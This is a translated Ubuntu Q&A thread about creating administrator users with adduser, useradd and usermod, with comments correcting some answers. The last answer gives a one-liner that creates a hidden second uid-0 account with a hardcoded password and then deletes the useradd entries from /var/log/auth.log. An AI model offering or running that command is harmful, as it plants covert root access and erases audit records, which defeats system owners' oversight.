如何通过命令行创建管理员用户?

我想创建一个具有管理员权限和所有常规设置(如主目录)的用户。

  1. 是否有一个adduser参数可以自动为用户提供sudo权限?
  2. adduser的默认设置是什么?它是否会自动创建主目录和其他所有内容,而无需额外的参数?(即adduser <用户名>是否足够?)

对于新用户,你应该使用useradd而不是adduser - JizoSaves
@JizoSaves 一般来说,这取决于具体情况。adduser 更加交互式,而 useradd 则更适用于脚本设计。 - Franklin Yu
4个回答

将用户添加到`sudo`组中,使用以下命令:
adduser <username> sudo

(如果您使用的是Ubuntu 11.10或更早版本,请使用admin组。)
默认值存储在/etc/adduser.conf中,您可以通过以下方法进行检查。
less /etc/adduser.conf

要创建一个用户并直接将其添加到sudo组中,请使用以下命令
adduser <username> --group sudo

(再次,对于11.10及更早版本,请使用admin代替sudo。)
请查看您在adduser 这里拥有的所有选项。

adduser --force-badname <username> admin - Oxwivi
我相信是这样的,是的,或者 adduser --force-badname <用户名> --group admin - Bruno Pereira
1这是使用“-D”的第一行:选项d不明确(debug,disabled-login,disabled-password)adduser将其解释为错误,并告诉您可以使用的所有标志和选项。绝对与默认设置无关。 - Oxwivi
用户必须注销,然后重新登录以使此更改生效。 - Jorge Nunez Newton

在Ubuntu 12.04及更高版本中创建具有管理员特权的新用户的步骤如下:
adduser <username> --ingroup sudo

在Ubuntu 11.10及更早版本中,请使用以下方法:
adduser <username> --group admin

修改现有用户(12.04及更高版本):
adduser <username> --group sudo

或者

sudo usermod -aG sudo <username>

(或者对于11.10及更早版本:sudo usermod -aG admin <用户名>)
-a代表追加,而-G代表组。使用上述的-a和-G标志,sudo(或admin)组将被添加到用户所属组列表中。

3adduser <username> sudo 不会创建用户,它将一个_已存在的_用户添加到sudo组中。 - Franklin Yu
2在创建用户之前,当我执行adduser foobar sudo命令时,在Xenial系统中会显示"adduser: the username `foobar' does not exist",并且在/etc/passwd文件中也找不到该用户,因此我认为用户没有被成功创建。 - Franklin Yu
1在Trusty上我得到了这个:$ sudo adduser neue --group sudo adduser: 请在此模式下指定一个单一的名称。 $ sudo adduser neue sudo adduser: 用户'neue'不存在。 - IsaacS

其他答案都是正确的,但你还问了关于主目录的问题。你还需要为新用户设置密码。
sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
  • -s 设置用户的登录Shell
  • -m 如果不存在,创建用户的家目录:/home/*new-admin-username*
  • -g 将用户添加到sudo组,以便他们具有管理员权限(大于11.10版本)

创建后,为用户设置密码:

sudo passwd *new-admin-username*

登录用户以查看是否一切正常:
su *new-admin-username*
cd ~/
pwd

7请注意,由于您使用了-g而不是-G,新用户将仅属于sudo组。 - muru

这是一行代码,它创建一个新的 root 用户。您需要更改一些参数。

  USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment 
  Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 
  0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
  /var/log/auth.log

最好的,